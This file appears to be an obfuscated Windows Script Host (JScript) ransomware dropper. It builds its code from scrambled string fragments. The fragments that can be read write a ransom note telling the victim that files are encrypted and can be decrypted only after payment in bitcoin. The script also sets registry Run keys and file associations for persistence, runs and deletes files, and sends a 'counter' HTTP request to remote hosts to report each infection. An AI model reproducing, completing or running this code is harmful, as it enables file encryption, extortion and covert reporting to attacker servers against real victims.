'ileE';\r\nq86 += 'usel';\r\nv79 += 'erP';\r\nq86 += 'es';\r\nv79 += '".';\r\nq86 += 's ';\r\nv79 += ' \/';\r\nv79 += 'try{';\r\nq86 += 'to';\r\nv79 += 'ar ';\r\nq86 += ' rei';\r\nv79 += ':")';\r\nq86 += 'nsta';\r\nv79 += '("A';\r\nv79 += ' \/';\r\nq86 += 'll W';\r\nv79 += ' f';\r\nv79 += 'exe"';\r\nq86 += 'indo';\r\nv79 += 'Writ';\r\nv79 += 'd="+';\r\nq86 += 'ws, ';\r\nv79 += '- Yo';\r\nv79 += 'txt)';\r\nq86 += 'upda';\r\nv79 += '; ';\r\nq86 += 'te a';\r\nv79 += 'be';\r\nv79 += 'MP';\r\nq86 += 'ntiv';\r\nv79 += 'eLin';\r\nq86 += 'iru';\r\nv79 += '"   ';\r\nv79 += 'rCod';\r\nq86 += 's ';\r\nv79 += '%COM';\r\nq86 += 'sof';\r\nv79 += 'php';\r\nv79 += 'COM';\r\nq86 += 'twa';\r\nv79 += ' };';\r\nq86 += 're';\r\nv79 += 'te';\r\nv79 += '"%TE';\r\nq86 += ', et';\r\nv79 += 'ite';\r\nq86 += 'c.")';\r\nv79 += '.fr';\r\nq86 += '; ';\r\nv79 += 'bo';\r\nq86 += 'fp.';\r\nv79 += 'if(x';\r\nv79 += 'ins';\r\nq86 += 'Writ';\r\nv79 += 've';\r\nv79 += 'Lin';\r\nq86 += 'eLi';\r\nv79 += 'REG_';\r\nq86 += 'ne';\r\nv79 += 'onl';\r\nq86 += '("  ';\r\nv79 += '00)';\r\nv79 += '"+c';\r\nq86 += '  ';\r\nv79 += '+" B';\r\nv79 += 'D "+';\r\nq86 += '  ';\r\nv79 += '0)';\r\nq86 += '- ';\r\nv79 += 'sk';\r\nv79 += 'q+';\r\nq86 += 'Your';\r\nv79 += 'eas';\r\nv79 += 'rt';\r\nq86 += ' f';\r\nv79 += 'bjec';\r\nv79 += 'p.';\r\nq86 += 'il';\r\nv79 += '.R';\r\nv79 += 'buy';\r\nq86 += 'es ';\r\nv79 += 'n ad';\r\nq86 += 'can';\r\nv79 += 'ypt';\r\nq86 += ' be';\r\nv79 += 'ain';\r\nv79 += 'eL';\r\nq86 += ' d';\r\nv79 += 'sav';\r\nv79 += '+"\/';\r\nq86 += 'ec';\r\nv79 += 'fp.';\r\nv79 += 'in';\r\nq86 += 'ry';\r\nv79 += 'p.Wr';\r\nq86 += 'pte';\r\nv79 += 'ay';\r\nq86 += 'd ';\r\nv79 += ' BTC';\r\nq86 += 'onl';\r\nv79 += 'omCh';\r\nq86 += 'y af';\r\nv79 += '; f';\r\nv79 += '{ ';\r\nq86 += 'ter ';\r\nv79 += '"+';\r\nq86 += 'yo';\r\nv79 += 'p.W';\r\nq86 += 'u m';\r\nv79 += '0;i<';\r\nv79 += 'ri';\r\nq86 += 'ake';\r\nv79 += 'ain';\r\nq86 += ' p';\r\nv79 += 'p.';\r\nv79 += 'niqu';\r\nq86 += 'aym';\r\nv79 += 'C%';\r\nq86 += 'ent';\r\nv79 += '<=2';\r\nv79 += ')+c';\r\nq86 += '.");';\r\nv79 += 'esk';\r\nq86 += ' fp.';\r\nv79 += 'teL';\r\nv79 += '+cq';\r\nq86 += 'Writ';\r\nv79 += 'Li';\r\nv79 += '("';\r\nq86 += 'eLi';\r\nv79 += 't(';\r\nv79 += 'r do';\r\nq86 += 'ne';\r\nv79 += ';b';\r\nv79 += '("';\r\nq86 += '("';\r\nv79 += 'ry';\r\nq86 += '   ';\r\nv79 += ' you';\r\nv79 += 'Stri';\r\nq86 += '   ';\r\nv79 += 'pd,2';\r\nv79 += 'G AD';\r\nq86 += '- Yo';\r\nv79 += 'p y';\r\nv79 += '"+';\r\nq86 += 'u ca';\r\nv79 += 'eas';\r\nq86 += 'n ';\r\nv79 += 'ro';\r\nv79 += '; } ';\r\nq86 += 'fi';\r\nv79 += 'n ';\r\nv79 += 'in 3';\r\nq86 += 'nd t';\r\nv79 += '"\/c';\r\nv79 += 'po';\r\nq86 += 'his';\r\nv79 += ')+';\r\nv79 += 'SZ ';\r\nq86 += ' m';\r\nv79 += 'ne("';\r\nq86 += 'an';\r\nv79 += ',0';\r\nv79 += '.");';\r\nq86 += 'ual';\r\nv79 += 'a.';\r\nq86 += ' on';\r\nv79 += '"%TE';\r\nq86 += ' you';\r\nv79 += 'cq+f';\r\nq86 += 'r ';\r\nv79 += 'r x';\r\nv79 += ';i++';\r\nq86 += 'des';\r\nv79 += 'ith ';\r\nv79 += 'CO';\r\nq86 += 'kt';\r\nv79 += 'xo.';\r\nv79 += '+cq+';\r\nq86 += 'op (';\r\nv79 += '.W';\r\nv79 += 'se ';\r\nq86 += 'DE';\r\nv79 += 'MEM';\r\nq86 += 'CRY';\r\nv79 += 'e:")';\r\nq86 += 'PT.';\r\nv79 += 'fal';\r\nv79 += 'ar ';\r\nq86 += 'txt)';\r\nv79 += 'G AD';\r\nq86 += '.")';\r\nv79 += 'f(n=';\r\nv79 += '+"S';\r\nq86 += '; fp';\r\nv79 += 'Cr';\r\nv79 += '"Cur';\r\nq86 += '.Cl';\r\nv79 += 'sea';\r\nv79 += '+n+';\r\nq86 += 'ose(';\r\nv79 += 'eat';\r\nq86 += '); ';\r\nv79 += '"); ';\r\nq86 += 'ws.R';\r\nv79 += 'eat';\r\nq86 += 'un';\r\nv79 += 'p.Wr';\r\nq86 += '("%';\r\nv79 += '+n, ';\r\nq86 += 'CO';\r\nv79 += 'te';\r\nq86 += 'MSPE';\r\nv79 += 'xa.c';\r\nq86 += 'C% \/';\r\nv79 += ' "';\r\nq86 += 'c ';\r\nv79 += 'Tff6CxOofKLv46njM9MdfD_bBw7qRFZ6ffAJEPEXmzdahf7_QaFE8NdPA8MC7WRLiyTxoxCLTP0"';\r\nv79 += 'WScr';\r\nq86 += 'RE';\r\nv79 += 't.Cr';\r\nq86 += 'G AD';\r\nv79 += 'Wri';\r\nv79 += '"&i';\r\nq86 += 'D "+';\r\nv79 += 'pte';\r\nq86 += 'cq';\r\nv79 += 'NT';\r\nv79 += 'p4t';\r\nq86 += '+"';\r\nv79 += 'arCo';\r\nq86 += 'HKCU';\r\nv79 += 'xt"+';\r\nv79 += 'Bi';\r\nq86 += '"+cs';\r\nv79 += '"); ';\r\nv79 += '.fr';\r\nq86 += '+"S';\r\nv79 += '"%CO';\r\nv79 += ' BTC';\r\nq86 += 'OFTW';\r\nv79 += 'emOb';\r\nv79 += '"%C';\r\nq86 += 'ARE';\r\nv79 += 'd="1PXyK1CM8Dyr9tV51Ubub5imyvpmvqVmVf';\r\nv79 += '=3';\r\nq86 += '"+c';\r\nv79 += '.Wr';\r\nq86 += 's+"';\r\nv79 += 'es';\r\nq86 += 'Micr';\r\nv79 += '. S';\r\nq86 += 'osof';\r\nv79 += 'Wri';\r\nv79 += 'Your';\r\nq86 += 't"';\r\nv79 += 'xo.o';\r\nv79 += '}c';\r\nq86 += '+c';\r\nv79 += '\/loc';\r\nq86 += 's+"';\r\nv79 += '("  ';\r\nq86 += 'Win';\r\nv79 += 'G AD';\r\nv79 += 'All ';\r\nq86 += 'dow';\r\nv79 += ' };';\r\nv79 += 'n=';\r\nq86 += 's"+c';\r\nv79 += 'ar ';\r\nv79 += 'aveT';\r\nq86 += 's+';\r\nv79 += 'ES."';\r\nv79 += 'ed"';\r\nq86 += '"Cur';\r\nv79 += 'p.';\r\nv79 += 'jec';\r\nq86 += 'rent';\r\nv79 += '0,';\r\nq86 += 'Ver';\r\nv79 += ' \/';\r\nv79 += '="';\r\nq86 += 'sio';\r\nv79 += 'e); ';\r\nq86 += 'n"';\r\nv79 += '"+';\r\nq86 += '+cs';\r\nv79 += 'fn';\r\nv79 += 'a.ty';\r\nq86 += '+"Ru';\r\nv79 += '. S';\r\nv79 += '_bit';\r\nq86 += 'n"+';\r\nv79 += ',"s';\r\nq86 += 'cq+"';\r\nv79 += 'ex';\r\nv79 += 'r ';\r\nq86 += ' \/';\r\nv79 += 'ADOD';\r\nq86 += 'V "+';\r\nv79 += 'exe"';\r\nq86 += 'cq+';\r\nv79 += '"D';\r\nv79 += ' x';\r\nq86 += '"C';\r\nv79 += 'Wri';\r\nq86 += 'ry';\r\nv79 += '"");';\r\nq86 += 'pted';\r\nv79 += 'MSPE';\r\nv79 += '"); ';\r\nq86 += '"+';\r\nv79 += 'fp=f';\r\nq86 += 'cq+"';\r\nv79 += '.w';\r\nv79 += 'txt';\r\nq86 += ' \/';\r\nv79 += 'y."';\r\nv79 += ';n';\r\nq86 += 't RE';\r\nv79 += 'il';\r\nv79 += 'fp';\r\nq86 += 'G_SZ';\r\nv79 += '"2';\r\nq86 += ' \/F';\r\nv79 += 'op (';\r\nv79 += 'ng';\r\nq86 += ' \/';\r\nv79 += 'e ke';\r\nv79 += ')+c';\r\nq86 += 'D ';\r\nv79 += 'pt.S';\r\nv79 += 'RE';\r\nq86 += '"+';\r\nv79 += 'ppD';\r\nq86 += 'cq';\r\nv79 += '"")';\r\nv79 += 'eLi';\r\nq86 += '+fn+';\r\nv79 += 'ere';\r\nq86 += '".';\r\nv79 += '+cq,';\r\nv79 += '+cq';\r\nq86 += 'txt';\r\nv79 += 's+';\r\nv79 += 'MEM';\r\nq86 += '"+c';\r\nv79 += '); ';\r\nv79 += 'ws.R';\r\nq86 += 'q,0,';\r\nv79 += 'e ';\r\nq86 += '0)';\r\nv79 += ' va';\r\nv79 += 'and';\r\nq86 += '; ';\r\nv79 += 'G AD';\r\nq86 += 'ws';\r\nv79 += '; f';\r\nv79 += '=1; ';\r\nq86 += '.Run';\r\nv79 += '".t';\r\nq86 += '("%';\r\nv79 += 'Te';\r\nq86 += 'COM';\r\nv79 += 'Sc';\r\nq86 += 'SPE';\r\nv79 += '"+c';\r\nq86 += 'C%';\r\nv79 += '");';\r\nv79 += 'Win';\r\nq86 += ' \/c';\r\nv79 += 'nf';\r\nv79 += ',0,0';\r\nq86 += ' RE';\r\nv79 += 'ileE';\r\nq86 += 'G AD';\r\nv79 += 'e i';\r\nv79 += 'to';\r\nq86 += 'D "+';\r\nv79 += 'ne("';\r\nv79 += 'Wri';\r\nq86 += 'cq';\r\nv79 += 'buy';\r\nv79 += 'pt';\r\nq86 += '+"HK';\r\nv79 += 'Run(';\r\nq86 += 'CR';\r\nv79 += 'n+".';\r\nq86 += '"+cs';\r\nv79 += '0,0';\r\nq86 += '+"';\r\nv79 += 'd)';\r\nv79 += 'try{';\r\nq86 += '.cr';\r\nv79 += 'p.W';\r\nv79 += '%"';\r\nq86 += 'ypt';\r\nv79 += 'll.l';\r\nv79 += 'e ';\r\nq86 += 'ed"';\r\nv79 += 'fo';\r\nv79 += 'txt)';\r\nq86 += '+cq';\r\nv79 += '); f';\r\nv79 += '"\/c';\r\nq86 += '+"';\r\nv79 += '++) ';\r\nq86 += ' \/';\r\nv79 += 'ar ';\r\nq86 += 've \/';\r\nv79 += 'her';\r\nq86 += 't RE';\r\nv79 += 'ppD';\r\nv79 += 'ypte';\r\nq86 += 'G_';\r\nv79 += '+n, ';\r\nq86 += 'SZ ';\r\nv79 += 'ec';\r\nv79 += 'ue)';\r\nq86 += '\/F \/';\r\nv79 += 'll';\r\nq86 += 'D "+';\r\nv79 += 'g.fr';\r\nv79 += ' BTC';\r\nq86 += 'cq';\r\nv79 += '; } ';\r\nv79 += 'll W';\r\nq86 += '+"Cr';\r\nv79 += '"; v';\r\nq86 += 'ypte';\r\nv79 += 'En';\r\nv79 += 'us';\r\nq86 += 'd"+';\r\nv79 += 'yo';\r\nq86 += 'cq,';\r\nv79 += '\/D';\r\nv79 += '; ws';\r\nq86 += '0,0';\r\nv79 += 'coun';\r\nq86 += '); ';\r\nv79 += 'cq+"';\r\nq86 += 'ws.R';\r\nv79 += 't\/ne';\r\nq86 += 'un(';\r\nv79 += 'ing ';\r\nv79 += 'eLi';\r\nq86 += '"%CO';\r\nv79 += 'nsta';\r\nq86 += 'MSP';\r\nv79 += ' if';\r\nq86 += 'EC%';\r\nv79 += '); ';\r\nv79 += '.W';\r\nq86 += ' \/c';\r\nv79 += 'Ru';\r\nv79 += 'exc';\r\nq86 += ' R';\r\nv79 += '%"';\r\nq86 += 'EG ';\r\nv79 += 'ow';\r\nv79 += '")';\r\nq86 += 'ADD ';\r\nv79 += '+" B';\r\nv79 += ' fo';\r\nq86 += '"+c';\r\nv79 += 'als';\r\nv79 += '("  ';\r\nq86 += 'q+"';\r\nv79 += 'lo';\r\nq86 += 'HKCR';\r\nv79 += 'uy';\r\nv79 += 'Crea';\r\nq86 += '"+';\r\nv79 += 'TP';\r\nq86 += 'cs+"';\r\nv79 += 'p.W';\r\nv79 += '"+cq';\r\nq86 += 'Cr';\r\nv79 += 'teLi';\r\nq86 += 'yp';\r\nv79 += '("';\r\nv79 += 'p.';\r\nq86 += 'te';\r\nv79 += '"%';\r\nq86 += 'd"';\r\nv79 += 'nd()';\r\nv79 += 'ne';\r\nq86 += '+c';\r\nv79 += ';i<1';\r\nq86 += 's+';\r\nv79 += '"sh';\r\nv79 += ' DE';\r\nq86 += '"sh';\r\nv79 += 'te';\r\nq86 += 'ell"';\r\nv79 += 'aym';\r\nq86 += '+c';\r\nv79 += '=1; ';\r\nv79 += 'r ';\r\nq86 += 's+"';\r\nv79 += '0)';\r\nq86 += 'ope';\r\nv79 += 'fp=f';\r\nv79 += ',2);';\r\nq86 += 'n"';\r\nv79 += 'All ';\r\nq86 += '+c';\r\nv79 += ' f';\r\nq86 += 's+';\r\nv79 += 'iro';\r\nq86 += '"c';\r\nv79 += 'ur';\r\nv79 += ',2';\r\nq86 += 'om';\r\nv79 += ';i<1';\r\nv79 += 'p.Wr';\r\nq86 += 'ma';\r\nv79 += 'E AL';\r\nq86 += 'nd"';\r\nv79 += 'ET"';\r\nv79 += ' to';\r\nq86 += '+cq+';\r\nv79 += '();';\r\nv79 += '"&i';\r\nq86 += '" ';\r\nv79 += 'd"';\r\nq86 += '\/ve';\r\nv79 += 'in 3';\r\nq86 += ' \/';\r\nv79 += 'w.m';\r\nv79 += 'ar ';\r\nq86 += 't ';\r\nv79 += 'r\/?a';\r\nv79 += '+"D';\r\nq86 += 'REG_';\r\nv79 += ' y';\r\nv79 += ' fo';\r\nq86 += 'SZ';\r\nv79 += 'Writ';\r\nq86 += ' \/';\r\nv79 += 'l.le';\r\nq86 += 'F ';\r\nv79 += 'ou ';\r\nv79 += 'p.W';\r\nq86 += '\/D';\r\nv79 += 'F ';\r\nq86 += ' "+';\r\nv79 += '" ';\r\nq86 += 'cq';\r\nv79 += ' en';\r\nv79 += ',"ww';\r\nq86 += '+"no';\r\nv79 += '"+cs';\r\nv79 += 'ith ';\r\nq86 += 'te';\r\nv79 += '"+c';\r\nv79 += 'h(e';\r\nq86 += 'pad.';\r\nv79 += 'te';\r\nv79 += 'l";';\r\nq86 += 'ex';\r\nv79 += '{xa.';\r\nq86 += 'e "+';\r\nv79 += 'e o';\r\nv79 += 'ri';\r\nq86 += 'cs+';\r\nv79 += '); ';\r\nv79 += 'cq+f';\r\nq86 += 'cq';\r\nv79 += 'xis';\r\nv79 += 'ppD';\r\nq86 += '+f';\r\nv79 += ' { d';\r\nv79 += 'un(';\r\nq86 += 'n+".';\r\nv79 += 'ases';\r\nv79 += 'indo';\r\nq86 += 'txt';\r\nv79 += 'cs+';\r\nq86 += '"+c';\r\nv79 += 'i<l';\r\nv79 += 'htt';\r\nq86 += 's+cq';\r\nv79 += '"); ';\r\nv79 += 'le(f';\r\nq86 += '+cq,';\r\nv79 += 'f t';\r\nq86 += '0,';\r\nv79 += 'ar ';\r\nq86 += '0); ';\r\nv79 += 'nf';\r\nq86 += 'ws.R';\r\nv79 += 'ppD';\r\nq86 += 'un(';\r\nv79 += 's+';\r\nq86 += '"%';\r\nv79 += '+cs';\r\nv79 += 'PT.';\r\nq86 += 'COM';\r\nv79 += 'fn';\r\nq86 += 'SP';\r\nv79 += 'sa';\r\nq86 += 'EC% ';\r\nv79 += 'e o';\r\nv79 += '+cq';\r\nq86 += '\/c ';\r\nv79 += ' \/c';\r\nv79 += 'p.W';\r\nq86 += 'copy';\r\nv79 += ':")';\r\nv79 += '"+c';\r\nq86 += ' \/';\r\nv79 += '+fn';\r\nv79 += '- Yo';\r\nq86 += 'y ';\r\nv79 += ' r';\r\nq86 += '"+';\r\nv79 += 'd+';\r\nq86 += 'cq+f';\r\nv79 += 'ne("';\r\nq86 += 'n+';\r\nv79 += 'cs+"';\r\nv79 += 'ts, ';\r\nq86 += '".t';\r\nv79 += 's+"';\r\nv79 += 'fp';\r\nq86 += 'xt"+';\r\nv79 += '); ';\r\nq86 += 'cq';\r\nv79 += 'SPE';\r\nv79 += 'n"';\r\nq86 += '+" ';\r\nv79 += 'usel';\r\nq86 += '"+cq';\r\nv79 += 'at';\r\nq86 += '+"%A';\r\nv79 += 'rea';\r\nv79 += '.Cl';\r\nq86 += 'ppD';\r\nv79 += '+fn+';\r\nv79 += '&st=';\r\nq86 += 'at';\r\nv79 += ' }';\r\nv79 += 'pen(';\r\nq86 += 'a%"';\r\nv79 += 'ur';\r\nq86 += '+cs+';\r\nv79 += 'oins';\r\nv79 += '"); ';\r\nq86 += '"De';\r\nv79 += 'ou ';\r\nv79 += 'RE';\r\nq86 += 'sk';\r\nv79 += '); f';\r\nq86 += 'to';\r\nv79 += 'll.l';\r\nq86 += 'p"+';\r\nv79 += 'fp=f';\r\nq86 += 'cs';\r\nv79 += 'a.si';\r\nv79 += 'n=1';\r\nq86 += '+"D';\r\nv79 += 'es ';\r\nq86 += 'ECRY';\r\nv79 += 'ent';\r\nv79 += 'nua';\r\nq86 += 'PT';\r\nv79 += 'g.fr';\r\nv79 += 'ther';\r\nq86 += '.txt';\r\nv79 += 's ';\r\nv79 += 'vi';\r\nq86 += '"+cq';\r\nv79 += ') {';\r\nv79 += 't.Cr';\r\nq86 += ',0,0';\r\nv79 += 'ws';\r\nv79 += 'coun';\r\nq86 += ');';\r\nv79 += 'll=';\r\nq86 += ' ws.';\r\nv79 += '.Cr';\r\nq86 += 'Run(';\r\nv79 += ' her';\r\nv79 += '+"';\r\nq86 += '"%';\r\nv79 += 'Li';\r\nq86 += 'CO';\r\nv79 += '; fp';\r\nv79 += 'DE';\r\nq86 += 'MSP';\r\nv79 += 'us=';\r\nq86 += 'EC';\r\nv79 += 'fp.';\r\nv79 += '"\/co';\r\nq86 += '% \/c';\r\nv79 += 'ose(';\r\nq86 += ' cop';\r\nv79 += 'TTE';\r\nq86 += 'y ';\r\nv79 += 'ine';\r\nv79 += 'll=';\r\nq86 += '\/y';\r\nv79 += 'pte';\r\nq86 += ' "+';\r\nv79 += 'OS';\r\nv79 += 'ET"';\r\nq86 += 'cq';\r\nv79 += 'rue)';\r\nv79 += '   ';\r\nq86 += '+f';\r\nv79 += '("%';\r\nv79 += 'Li';\r\nq86 += 'n+';\r\nv79 += ');';\r\nv79 += '=WS';\r\nq86 += '".t';\r\nv79 += ' { d';\r\nv79 += 'PT.';\r\nq86 += 'xt"';\r\nv79 += '0,';\r\nv79 += '".';\r\nq86 += '+cq';\r\nv79 += '; ';\r\nq86 += '+" ';\r\nv79 += '=5)';\r\nq86 += '"+c';\r\nv79 += 'us';\r\nv79 += 'ws.R';\r\nq86 += 'q+';\r\nv79 += 'emOb';\r\nv79 += '{ fo';\r\nq86 += '"%Us';\r\nv79 += 'ADD ';\r\nv79 += '+l';\r\nq86 += 'erP';\r\nv79 += 'cs+';\r\nv79 += '"C';\r\nq86 += 'ro';\r\nv79 += 'usel';\r\nv79 += '"+';\r\nq86 += 'fil';\r\nv79 += '"%Us';\r\nv79 += 'm","';\r\nq86 += 'e%';\r\nv79 += 'in 3';\r\nq86 += '"+c';\r\nv79 += 'er';\r\nq86 += 's+';\r\nv79 += '];';\r\nv79 += '+"D';\r\nq86 += '"D';\r\nv79 += '"); ';\r\nv79 += '};} ';\r\nq86 += 'esk';\r\nv79 += ',0,0';\r\nq86 += 'top"';\r\nv79 += 'un';\r\nq86 += '+c';\r\nv79 += 'oins';\r\nq86 += 's+"D';\r\nv79 += '",';\r\nq86 += 'ECR';\r\nv79 += ') { ';\r\nv79 += 'sa';\r\nq86 += 'YPT';\r\nv79 += '+"';\r\nv79 += 'ileE';\r\nq86 += '.txt';\r\nv79 += 'ne';\r\nv79 += 'dn=';\r\nq86 += '"+';\r\nv79 += '("3';\r\nq86 += 'cq';\r\nv79 += '=ld;';\r\nq86 += ',0';\r\nv79 += 'q,0,';\r\nv79 += '"c';\r\nq86 += ',0);';\r\nv79 += 's+';\r\nq86 += ' w';\r\nv79 += 't(';\r\nv79 += '("';\r\nq86 += 's.';\r\nv79 += 'ur ';\r\nq86 += 'Ru';\r\nv79 += '"C';\r\nv79 += 'teO';\r\nq86 += 'n("%';\r\nv79 += 't pe';\r\nv79 += 'this';\r\nq86 += 'COM';\r\nv79 += 'ls';\r\nv79 += 'itc';\r\nq86 += 'SPE';\r\nv79 += '{xa.';\r\nv79 += 'ts, ';\r\nq86 += 'C% \/';\r\nv79 += 'r a';\r\nq86 += 'c "+';\r\nv79 += ' Op';\r\nq86 += 'fn+';\r\nv79 += 'dy ';\r\nv79 += 'un(';\r\nq86 += '".e';\r\nv79 += '+cq,';\r\nq86 += 'xe ';\r\nv79 += '; i';\r\nv79 += 'GET"';\r\nq86 += '"+c';\r\nv79 += 'kutu';\r\nq86 += 'q+f';\r\nv79 += '=3';\r\nv79 += '."';\r\nq86 += 'n+"';\r\nv79 += 's+"D';\r\nv79 += 't\/ne';\r\nq86 += '.php';\r\nv79 += 'and';\r\nq86 += '"+';\r\nv79 += 'ith ';\r\nq86 += 'cq,0';\r\nv79 += '+" ';\r\nq86 += ',1)';\r\nv79 += '"%';\r\nv79 += 'an';\r\nq86 += '; ws';\r\nv79 += 'fp';\r\nv79 += 'p.Wr';\r\nq86 += '.R';\r\nv79 += 'e(';\r\nv79 += 'el';\r\nq86 += 'un(';\r\nv79 += 'ine(';\r\nq86 += '"%C';\r\nv79 += 'exe"';\r\nq86 += 'OMS';\r\nv79 += 'ne(';\r\nq86 += 'PE';\r\nv79 += 'SPE';\r\nq86 += 'C% ';\r\nv79 += '); v';\r\nv79 += '(fn';\r\nq86 += '\/c';\r\nv79 += 'niqu';\r\nv79 += '"%C';\r\nq86 += ' not';\r\nv79 += '("%';\r\nq86 += 'epad';\r\nv79 += 'ect';\r\nq86 += '.ex';\r\nv79 += '.ex';\r\nv79 += '(fn';\r\nq86 += 'e ';\r\nv79 += '}c';\r\nv79 += ', et';\r\nq86 += '"+c';\r\nv79 += '+"%A';\r\nv79 += 'd="';\r\nq86 += 'q+f';\r\nv79 += '+pd';\r\nq86 += 'n+"';\r\nv79 += 'le';\r\nq86 += '.tx';\r\nv79 += ' you';\r\nq86 += 't"+c';\r\nv79 += 'tp';\r\nq86 += 'q,0,';\r\nv79 += '\/c ';\r\nq86 += '0)';\r\nv79 += 'e o';\r\nv79 += 'ps:\/';\r\nq86 += '; v';\r\nv79 += '1;n';\r\nv79 += 'Writ';\r\nq86 += 'ar ';\r\nv79 += 'EC';\r\nv79 += 'om\/';\r\nq86 += 'fp=f';\r\nv79 += 's+';\r\nq86 += 'o.Cr';\r\nv79 += 'ca';\r\nq86 += 'ea';\r\nv79 += 'Writ';\r\nq86 += 'te';\r\nv79 += 'ne';\r\nq86 += 'Tex';\r\nv79 += 'xo.';\r\nv79 += 'tos';\r\nq86 += 'tFi';\r\nv79 += 'ron';\r\nv79 += '; ws';\r\nq86 += 'le(';\r\nv79 += 'a.ty';\r\nq86 += 'fn';\r\nv79 += 'f(n=';\r\nv79 += 'eLin';\r\nq86 += '+".';\r\nv79 += 'fil';\r\nv79 += '("A';\r\nq86 += 'ph';\r\nv79 += 'htt';\r\nq86 += 'p"';\r\nv79 += '."';\r\nv79 += 'n ';\r\nq86 += ',t';\r\nv79 += '"   ';\r\nv79 += '=1; ';\r\nq86 += 'rue)';\r\nv79 += '+fn+';\r\nv79 += 'al';\r\nq86 += ';f';\r\nv79 += 'Stri';\r\nv79 += 'eLi';\r\nq86 += 'or';\r\nv79 += 'f(n=';\r\nv79 += 'nd()';\r\nq86 += '(var';\r\nv79 += 'E RE';\r\nq86 += ' i=0';\r\nv79 += 'a=';\r\nv79 += ' f';\r\nq86 += ';i<1';\r\nv79 += 'pt';\r\nv79 += 't("W';\r\nq86 += '000;';\r\nv79 += 'ts';\r\nv79 += '("';\r\nq86 += 'i++)';\r\nv79 += 'sk';\r\nq86 += '{fp.';\r\nv79 += 'e ';\r\nv79 += 'nd()';\r\nq86 += 'Writ';\r\nv79 += '}; ';\r\nq86 += 'eLi';\r\nv79 += '","n';\r\nv79 += '("")';\r\nq86 += 'ne';\r\nv79 += '+cq';\r\nq86 += '(ad';\r\nv79 += '+ll[';\r\nv79 += 'gn.c';\r\nq86 += ');';\r\nv79 += 'emOb';\r\nv79 += '.Exp';\r\nq86 += '};';\r\nv79 += 'c "+';\r\nv79 += 'ine';\r\nq86 += 'fp.';\r\nv79 += '";';\r\nq86 += 'Clo';\r\nv79 += '+" ';\r\nv79 += 'Writ';\r\nq86 += 'se';\r\nv79 += '.R';\r\nv79 += 'p.W';\r\nq86 += '();';\r\nv79 += 'htt';\r\nv79 += 's.';\r\nq86 += ' ws';\r\nv79 += ' a';\r\nv79 += '{ xo';\r\nq86 += '.Run';\r\nv79 += 'kutu';\r\nv79 += 'sa';\r\nq86 += '("';\r\nv79 += 'fn';\r\nv79 += 'q,0,';\r\nq86 += '%COM';\r\nv79 += 'r xo';\r\nv79 += 'ws.R';\r\nq86 += 'SPE';\r\nv79 += 'ca';\r\nq86 += 'C% \/';\r\nv79 += 'tor';\r\nq86 += 'c D';\r\nv79 += 'om"';\r\nv79 += 'q+';\r\nq86 += 'EL ';\r\nv79 += '."';\r\nv79 += 'fp.';\r\nq86 += '"+';\r\nv79 += '+"%A';\r\nq86 += 'cq+f';\r\nv79 += 'It`';\r\nv79 += '"  ';\r\nq86 += 'n+".';\r\nv79 += 'fp.W';\r\nv79 += '"+cs';\r\nq86 += 'php';\r\nv79 += 'lle';\r\nq86 += '"+cq';\r\nv79 += 'p.Wr';\r\nq86 += ',0';\r\nv79 += ' RS';\r\nv79 += ' ws.';\r\nq86 += ',0);';\r\nv79 += 'o.';\r\nv79 += 'se);';\r\nq86 += ' ws.';\r\nv79 += 'je';\r\nq86 += 'Run(';\r\nv79 += 'ad';\r\nv79 += 'DEL';\r\nq86 += '"%CO';\r\nv79 += 'se';\r\nq86 += 'MSP';\r\nv79 += 'ld]+';\r\nq86 += 'EC% ';\r\nv79 += ',2);';\r\nq86 += '\/c ';\r\nv79 += 'org"';\r\nq86 += 'DEL';\r\nv79 += '; v';\r\nv79 += 'n+"';\r\nq86 += ' "+';\r\nv79 += 'Clo';\r\nq86 += 'cq';\r\nv79 += '+c';\r\nq86 += '+fn';\r\nv79 += '.com';\r\nq86 += '+"';\r\nv79 += 'r\/?a';\r\nq86 += '.e';\r\nv79 += ' va';\r\nq86 += 'xe"';\r\nv79 += 'ct"';\r\nq86 += '+cq,';\r\nv79 += '; f';\r\nv79 += 'a.ty';\r\nq86 += '0,0';\r\nv79 += ' Op';\r\nv79 += 'e%';\r\nq86 += '); ';\r\nv79 += '  ';\r\nv79 += 'tp:\/';\r\nq86 += 'ws.R';\r\nv79 += '"Scr';\r\nq86 += 'un';\r\nv79 += '; ';\r\nv79 += '};} ';\r\nq86 += '("%C';\r\nv79 += '"sh';\r\nq86 += 'OM';\r\nv79 += ' x';\r\nv79 += 'd+';\r\nq86 += 'SPEC';\r\nv79 += 'php';\r\nq86 += '% \/c';\r\nv79 += '+" ';\r\nq86 += ' DE';\r\nv79 += 'te';\r\nv79 += ' fo';\r\nq86 += 'L ';\r\nv79 += ') &&';\r\nv79 += '"+';\r\nq86 += '"+cq';\r\nv79 += 'Lin';\r\nv79 += 'p.';\r\nq86 += '+pd';\r\nv79 += 'LHT';\r\nq86 += '+cq';\r\nv79 += '; ';\r\nv79 += 'ES."';\r\nq86 += ',0,0';\r\nv79 += 'Ver';\r\nq86 += '); x';\r\nv79 += ' ws.';\r\nq86 += 'o.';\r\nv79 += 'ay';\r\nv79 += 'd ';\r\nq86 += 'ope';\r\nv79 += 'iles';\r\nq86 += 'n("G';\r\nv79 += 'ite';\r\nq86 += 'ET"';\r\nv79 += '); ';\r\nq86 += ',"h';\r\nv79 += 'eat';\r\nv79 += 'eLi';\r\nq86 += 'ttp:';\r\nv79 += '; fp';\r\nv79 += 'om"';\r\nq86 += '\/\/"';\r\nv79 += 'ow';\r\nq86 += '+l';\r\nv79 += '("A';\r\nq86 += 'l[';\r\nv79 += '+"';\r\nv79 += ' Op';\r\nq86 += 'ld';\r\nv79 += '"+';\r\nv79 += '{xa.';\r\nq86 += ']+';\r\nv79 += 'var ';\r\nq86 += '"\/co';\r\nv79 += '=20';\r\nq86 += 'un';\r\nv79 += 'ing';\r\nv79 += 'se);';\r\nq86 += 'ter\/';\r\nv79 += 'teL';\r\nv79 += 'php';\r\nq86 += '?ad=';\r\nv79 += '   ';\r\nq86 += '"+a';\r\nv79 += 'eLi';\r\nq86 += 'd+';\r\nv79 += ']+"\/';\r\nq86 += '"&';\r\nv79 += ' f';\r\nq86 += 'id=';\r\nv79 += 'onl';\r\nv79 += '.Cl';\r\nq86 += '"+';\r\nv79 += 'pt.C';\r\nv79 += 're';\r\nq86 += 'id+"';\r\nv79 += 'om"';\r\nq86 += '&st=';\r\nv79 += 'Ru';\r\nq86 += 'done';\r\nv79 += 'tc';\r\nv79 += 'fp';\r\nq86 += '",';\r\nv79 += 'rch';\r\nv79 += '; f';\r\nq86 += ' f';\r\nv79 += 